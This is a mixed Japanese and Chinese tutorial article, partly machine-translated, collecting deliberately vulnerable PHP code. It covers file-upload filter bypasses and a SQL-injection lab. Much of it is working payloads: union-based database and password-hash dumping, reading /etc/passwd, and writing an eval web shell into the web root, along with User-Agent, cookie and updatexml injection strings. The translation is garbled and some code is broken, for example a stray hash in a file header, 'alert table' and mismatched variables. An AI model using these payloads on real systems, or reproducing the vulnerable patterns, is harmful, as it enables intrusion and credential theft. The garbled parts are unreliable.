この記事は、PHP の脆弱性に関する関連知識を提供します。主に PHP の一般的な脆弱性コードを要約して紹介しています。非常に包括的かつ詳細です。一緒に見てみましょう。必要な友人に役立つことを願っています。それを助けてください。
脆弱性の概要
PHP ファイル アップロードの脆弱性
検証のみMIME タイプ: アップロードされた MIME タイプはコード内で検証されます。バイパス方法は、Burp を使用してパケットをキャプチャし、アップロードされた文 Xiaoma*.php の Content-Type: application/php を Content-Type: に変更することです。 image. /png にしてアップロードします。
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { // 判断 content-type 的类型,如果是image/png则通过 if($_FILES['upload_file']['type'] == 'image/png') { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; if (move_uploaded_file($temp_file, $img_path)) echo "上传完成."; else echo "上传出错."; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
ホワイトリストのバイパス: ホワイトリストでは、特定の種類のファイルのアップロードが許可されています。この方法の方が安全です。パケットをキャプチャして、php バックドアをアップロードします。ファイル名を変更します。それを .jpg に変更すると、アップロードは成功しますが、アップロードされたファイルが無効で、シェルから取得できない場合があります。
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $allow_ext = array(".jpg",".png",".jpeg"); $file_name = trim($_FILES['upload_file']['name']); // 取出文件名 $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA $file_ext = strtolower($file_ext); // 转换为小写 $file_ext = trim($file_ext); // 首尾去空 if(in_array($file_ext, $allow_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) echo "上传完成: {$img_path} <br>"; else echo "上传失败 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
ホワイトリスト検証ファイル ヘッダー: このレベルでは主に jpg/png/gif ファイルの送信が可能で、ファイル ヘッダーの 2 バイトのコンテンツがコード内で検出されます。これをバイパスするには、ファイルの最初の 2 バイトを画像形式に変更するだけで済みます。
通常 JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 JPEG を例として、バイナリである Trojan の文の先頭に 2 つの 11 を追加します。 3131 を変更し、.php を .jpg に変更し、Brup を使用してパケットをキャプチャしてリピーター モジュールに送信し、HEX コード 3131 を FFD8 ポイントに変更して、JPG を正常にアップロードします。
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { $file = fopen($filename, "rb"); $bin = fread($file, 2); fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode) { case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)) echo "上传完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
ファイル ヘッダー検出のバイパス: このメソッドは、ファイル ヘッダーの開始位置を照合して、アップロードするかどうかを決定します。アップロードされたファイルの前に正当なファイル ヘッダーを追加することで、これをバイパスできます。たとえば、GIF89af0c37abff2c48d942130589f97dfa2f2 をファイルの先頭に記述します。バイパスを完了するには、または \xffxd8\xff の場合、先頭に ���� を記述する必要があります。ファイルの特殊文字を選択し、右クリックして [変換] -> [URL] -> [URL - デコードし、エンコード後に解放します。
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { $fh = fopen($filename, "rb"); if($fh) { $bytes = fread($fh,6); fclose($fh); if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){ return "image/jpeg"; } if($bytes == "\x89PNG\x0d\x0a"){ return "image/png"; } if($bytes == "GIF87a" or $bytes == "GIF89a"){ return "image/gif"; } } return 'unknown'; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); echo "状态: {$file_type} "; if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $file_name = $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
画像検出バイパス: image 関数では、ファイルが画像であるかどうかを検出します。アップロードする必要がある場合は、画像の整合性を維持する必要があるため、画像を追加することはできません。ファイル ヘッダーをバイパスするには、アップロードする画像トロイの木馬を作成する必要があります。
このアップロード方法をバイパスするには、画像とFIGファイルを結合します。 copy /b pic.gif shell.php 1.php Upload バイパスできます。
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); function getReailFileType($filename) { // 检查是否为图像 if(@getimagesize($filename)) { if(@imagecreatefromgif($filename)){ return "image/gif"; } if(@imagecreatefrompng($filename)){ return "image/png"; } if(@imagecreatefromjpeg($filename)){ return "image/jpeg"; } } return 'unknown'; } if(isset($_POST['submit'])) { if(file_exists(UPLOAD_PATH)) { $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); echo "状态: {$file_type} "; if($file_type == 'unknown') { echo "上传失败 <br>"; }else { $file_name = $_FILES['upload_file']['name']; $img_path = UPLOAD_PATH . "/" . $file_name; if(move_uploaded_file($temp_file,$img_path)) echo "上传 {$img_path} 完成 <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
アップロード条件の競合: ここは条件の競合です。最初にファイルをサーバーにアップロードし、ファイルのサフィックスがホワイトリストにあるかどうかを確認します。含まれている場合は、名前を変更します。そうでない場合は、削除します。1.php をアップロードできます削除される前にのみアクセスする必要があります。burp の侵入者モジュールを使用して継続的にアップロードすることができ、その後、継続的にアクセスしてアドレスを更新できます。
<?php header("Content-type: text/html;charset=utf-8"); define("UPLOAD_PATH", "./"); if(isset($_POST['submit'])) { $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)) { if(in_array($file_ext, $ext_arr)) { $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); echo "上传完成. <br>"; }else { unlink($upload_file); echo "上传失败. <br>"; } } } ?> <body> <form enctype="multipart/form-data" method="post"> <input type="file" name="upload_file"> <input type="submit" name="submit" value="上传"> </form> </body>
PHP インジェクションの脆弱性
基本的なクエリ ステートメント
SQL インジェクション ドリル環境を構築するには、まず MySQL バージョンが MySQL 5.7 以降であることを確認し、以下のデータベース スクリプトをインポートして、対応するデータベースファイル。
drop database if exists lyshark; create database lyshark; use lyshark; drop table if exists local_user; create table local_user( id int(10) primary key not null, username varchar(100) not null, password varchar(100) not null, usremail varchar(100) not null, usertype int(1) default 0 ); alert table local_user character set utf8; insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"), (2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"), (4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"), (6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"), (8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"), (10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");
次に、PHP7.0以上の環境をインストールし、index.phpファイルを作成し、以下のテストコードを記述し、データベースのパスワードを自分で変更してください。
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from local_user where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) $row = mysqli_fetch_array($query); } } ?> <body> <table border="1"> <tr> <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th> </tr> <tr> <td><?php echo $row['id']; ?></td> <td><?php echo $row['username']; ?></td> <td><?php echo $row['password']; ?></td> <td><?php echo $row['usremail']; ?></td> <td><?php echo $row['usertype']; ?></td> </tr> </table><br> <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?> </body> </html>
Unionクエリ フィールドの数: Union は 1 つ以上の SELECT 結果セットに使用できますが、条件があります。つまり、2 つの SELECT クエリ ステートメントは実行前に同じ列を持つ必要があります。この機能を使用すると、比較を実行できます。クエリ。つまり、ユニオン選択の列がクエリする列と同じである場合、ページは正常に戻ります。
まず、現在のフィールド数が 4 であると推測します。 、ページは返されません。これは、テーブルのフィールド数が 4 より大きい必要があることを意味します。その後、フィールドを追加すると、1、2、3、4、5 をクエリするとページが通常どおり表示され、テーブル構造が示されていることを示します。 5 つのフィールドがあります。
index.php?id=1' and 1=0 union select 1,2,3,4 --+ index.php?id=1' and 1=0 union select 1,2,3,4,5 --+ index.php?id=1' and 1=0 union select null,null,null,null,null --+
Order By フィールドの数をクエリします: SQL の場合、ステートメントは結果セットの指定された列を並べ替えることです。たとえば、結果セットを最初の列で並べ替えたい場合は、 , 1で並べ替える, 2番目の列で並べ替える, 2で並べ替える... この原則に従って、フィールドの数を判断できます。1列で並べ替えるとデータベースは正常に返されますが、並べ替えると、フィールドの数が判断できます。列 100 で、100 番目の列がデータベースに存在しないため、エラーが報告されるか、正常に表示できません。
最初に、データベースに 6 つのフィールドがあると推測し、行 6 に基づいて並べ替えようとしましたが、データが表示できないことは、データが 6 未満であることを示していますが、引き続き 5 を使用してテストし、この時点で結果が返されます。
index.php?id=1' and 1 order by 6 --+ index.php?id=1' and 1 order by 5 --+
ほとんどのプログラムは、データベースの最初の行のみを呼び出します。クエリ ステートメントはクエリされて返されます。見たいデータが 2 番目のステートメントにある場合、必要なデータを確認するには 2 つの方法があります。1 つ目は、最初のデータに false を返すようにすることです。 2 つ目は、最初のデータが false を返すようにすることです。2 つ目は、SQL ステートメントを通じて必要なデータを直接返すことです。
1 つ目は、and 0 または を使用して、最初のクエリの結果を常に false にすることです。 limit ステートメントを使用すると、mysql の制限がページングに使用され、クエリされたデータから必要なデータを取得できます。
index.php?id=1' and 0 union select null,null,null,null,null --+ index.php?id=1' and 0 union select null,version(),null,null,null --+ index.php?id=1' union select null,null,null,null,null limit 1,1 --+ index.php?id=1' union select null,version(),null,null,null limit 1,1 --+
すべてのデータベース名を確認する:MySQL はすべてのテーブル データを配置しますデフォルトでは、.schemata がテーブルに保存されます。このテーブルのデータをクエリして、現在のシステム内のすべてのデータベースの名前を確認できます。パラメータを制限内に制御することで、すべてのデータベースを公開できます。
index.php?id=1' and 0 union select 1,1,database(),1,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+ index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+
查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.
# 通过 limit 限定条件每次只输出一个表名称 index.php?id=1' and 0 union select 1,2,3,4,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 --+ # 通过 concat 函数一次性输出所有表 index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema='lyshark' --+
查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.
# 查询出lyshark数据库local_user表中的,所有字段 index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns > where table_schema='lyshark' and table_name='local_user' --+ # 每次读取出一个表中字段,使用limit进行遍历 index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns > where table_schema='lyshark' and table_name='local_user' limit 0,1 --+ index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns > where table_schema='lyshark' and table_name='local_user' limit 1,1 --+
查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+ index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+ index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+
常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.
# ----------------------------------------------------------------------------------- # 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断. index.php?id=1' and 1=1 --+ # 提交and判断注入 index.php?id=1' and 1=0 --+ index.php?id=1%2b1 # 提交加号判断注入 index.php?id=2-1 # 提交减号判断注入 index.php?id=1 and sleep(5) # 延时判断诸如点 # ----------------------------------------------------------------------------------- # 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限. index.php?id=1' and ord(mid(user(),1,1)) = 114 --+ # ----------------------------------------------------------------------------------- # 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了. index.php?id=1' and(select count(*) from mysql.user) > 0 # ----------------------------------------------------------------------------------- # 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释. index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+ // 5.6以前版本 index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+ // 5.7以后版本 # ----------------------------------------------------------------------------------- # 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限. index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+ index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+ index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+ index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+ # ----------------------------------------------------------------------------------- # 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话 create table shell(cmd text); insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>'); select cmd from shell into outfile('/var/www/html/eval.php'); # ----------------------------------------------------------------------------------- # 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作. index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定文件 index.php?id=1' union select 1,1,@@datadir // 判断数据库目录 index.php?id=1' union select 1,1,@@basedir // 判断安装根路径 index.php?id=1' union select 1,1,@@hostname // 判断主机名 index.php?id=1' union select 1,1,@@version // 判断数据库版本 index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux) index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86) index.php?id=1' union select 1,1,user() // 曝出系统用户 index.php?id=1' union select 1,1,database() // 曝出当前数据库
GET 注入
简单的注入测试: 本关中没有对代码进行任何的过滤.
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <?php function getCurrentUrl() { $scheme = $_SERVER['REQUEST_SCHEME']; // 协议 $domain = $_SERVER['HTTP_HOST']; // 域名 $requestUri = $_SERVER['REQUEST_URI']; // 请求参数 $currentUrl = $scheme . "://" . $domain . $requestUri; return urldecode($currentUrl); } ?> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select username,password from local_user where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<font size='5'>"; echo "账号: {$row['username']} <br>"; echo "密码: {$row['password']} <br>"; echo "</font>"; echo "后端执行语句: {$sql} <br>"; $URL = getCurrentUrl(); echo "后端URL参数: {$URL} <br>"; } else { echo "后端执行语句: {$sql} <br>"; print_r(mysql_error()); } } } } ?> </body> </html>
SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.
--------------------------------------------------------------------------------- $sql = "select username,password from local_user where id=$id limit 0,1"; http://127.0.0.1/index.php?id=-1 union select 1,version() --+ $sql = "select username,password from local_user where id=($id) limit 0,1"; http://127.0.0.1/index.php?id=-1) union select 1,version() --+ http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+ --------------------------------------------------------------------------------- $sql = "select username,password from local_user where id='$id' limit 0,1"; http://127.0.0.1/index.php?id=-1 union select 1,version() --+ $sql = "select username,password from local_user where id=('$id') limit 0,1"; http://127.0.0.1/index.php?id=-1') union select 1,version() --+ http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+ $sql = "select username,password from local_user where id=(('$id')) limit 0,1"; http://127.0.0.1/index.php?id=-1')) union select 1,version() --+ --------------------------------------------------------------------------------- $id = '"' . $id . "'"; $sql = "select username,password from local_user where id=($id) limit 0,1"; http://127.0.0.1/index.php?id=-1") union select 1,version() --+ http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+
POST 输入框注入:
<!DOCTYPE html> <html> <head> <meta charset="utf8"> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="提交表单" /> </form> <?php header("Content-type: text/html;charset=utf8"); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); if(isset($_POST['uname']) && isset($_POST['passwd'])) { $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>"; echo "后端执行语句: {$sql} <br>"; } else { echo "<br>后端执行语句: {$sql} <br>"; } } } } ?> </body> </html>
简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.
# --------------------------------------------------------------------------------------------------------- # SQL语句 $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; # --------------------------------------------------------------------------------------------------------- # 爆出字段数 admin' order by 1 # admin' order by 2 -- admin' and 1 union select 1,2,3 # admin' and 1 union select 1,2 # # 爆出数据库 admin ' and 0 union select null,database() # admin' and 0 union select 1,version() # # 爆出所有表名称(需要注意数据库编码格式) set character_set_database=utf8; set collation_database= utf8_general_ci alter table local_user convert to character set utf8; ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 # ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 # # 爆出表中字段 ' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 # ' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 # # 继续爆出所有的用户名密码 ' union select null,group_concat(username,0x3a,password) from local_user # # --------------------------------------------------------------------------------------------------------- # 双注入-字符型 # 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可 $uname = '"' . $uname . '"'; $passwd = '"' . $passwd . '"'; $sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1"; #payload admin") order by 2 # admin") and 0 union select 1,version() # admin") and 0 union select 1,database() # # --------------------------------------------------------------------------------------------------------- # POST型的-双注入 # $uname = '"' . $uname . '"'; $passwd = '"' . $passwd . '"'; $sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1"; admin" and 0 union select 1,version() #
Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.
建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256)); <!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="Submit" /> </form> <?php header("Content-type: text/html;charset=utf8"); error_reporting(0); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { // 获取到用户的Agent客户请求体 $Uagent = $_SERVER['HTTP_USER_AGENT']; // REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的 $IP = $_SERVER['REMOTE_ADDR']; echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>"; echo "您的IP地址是: {$IP} <br>"; $insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')"; mysqli_query($connect,$insert_sql); echo "User_Agent请求头: {$Uagent} <br>"; } } } } ?> </body> </html>
首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.
POST /post.php HTTP/1.1 Host: 192.168.1.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 uname=admin&passwd=123123&submit=Submit
修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.
User-Agent: 1',1,1)# uname=admin&passwd=123123&submit=Submit User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)# uname=admin&passwd=123123&submit=Submit
Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.
<!DOCTYPE html> <html> <head> <meta charset="utf8"> </head> <body> <form action="" method="post"> 账号: <input type="text" name="uname" value=""/><br> 密码: <input type="password" name="passwd" value=""/> <input type="submit" name="submit" value="Submit" /> </form> <?php header("Content-type: text/html;charset=utf8"); error_reporting(0); $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { $cookee = $_COOKIE['uname']; if($cookee) { $sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1"; $query = mysqli_query($connect,$sql); echo "执行SQL: " . $sql . "<br>"; if($query) { $row = mysqli_fetch_array($query); if($row) { echo "<br> COOKIE 已登录 <br>"; echo "您的账号: " . $row['username'] . "<br>"; echo "您的密码: " . $row['password'] . "<br>"; } } } if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=$_POST['uname']; $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); $cookee = $row['username']; if($row) { setcookie('uname', $cookee, time() + 3600); $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600; echo "COOKIE已设置: " . date($format, $timestamp); } } } } ?> </body> </html>
以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.
Cookie: uname=admin' and 0 union select database(),2--+ Cookie: uname=admin' and 0 union select version(),2--+
update-xml注入:
<!DOCTYPE html> <html> <head> <meta charset="utf8"> <title>SQL 注入测试代码</title> </head> <body> <form action="" method="post"> 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br> 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/> <input type="submit" name="submit" value="提交表单" /> </form> <?php error_reporting(0); header("Content-type: text/html;charset=utf8"); function Check($value) { if(!empty($value)) { // 如果结果不为空,则取出其前十五个字符 18 $value = substr($value,0,15); } // 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1 // 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0 if(get_magic_quotes_gpc()) { // 删除由 addslashes() 函数添加的反斜杠 $value = stripslashes($value); } if(!ctype_digit($value)) { // ctype_digit()判断是不是数字,是数字就返回true,否则返回false // mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。 $value = "'" . mysql_real_escape_string($value) . "."; } else $value = intval($value); return $value; } $connect = mysqli_connect("localhost","root","12345678","lyshark"); if($connect) { if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname=Check($_POST['uname']); $passwd=$_POST['passwd']; $passwd = md5($passwd); $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1"; $query = mysqli_query($connect,$sql); if($query) { $row = mysqli_fetch_array($query); if($row) { $rows = $row['username']; $udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'"; mysql_query($update); if(mysql_error()) { print_r(mysql_error()); } echo "后端执行语句: {$sql} <br>"; } else { echo "<br>后端执行语句: {$sql} <br>"; } } } } ?> </body> </html>
推荐学习:《PHP视频教程》
以上が非常に包括的です!よくあるPHPの脆弱性コードまとめ!の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。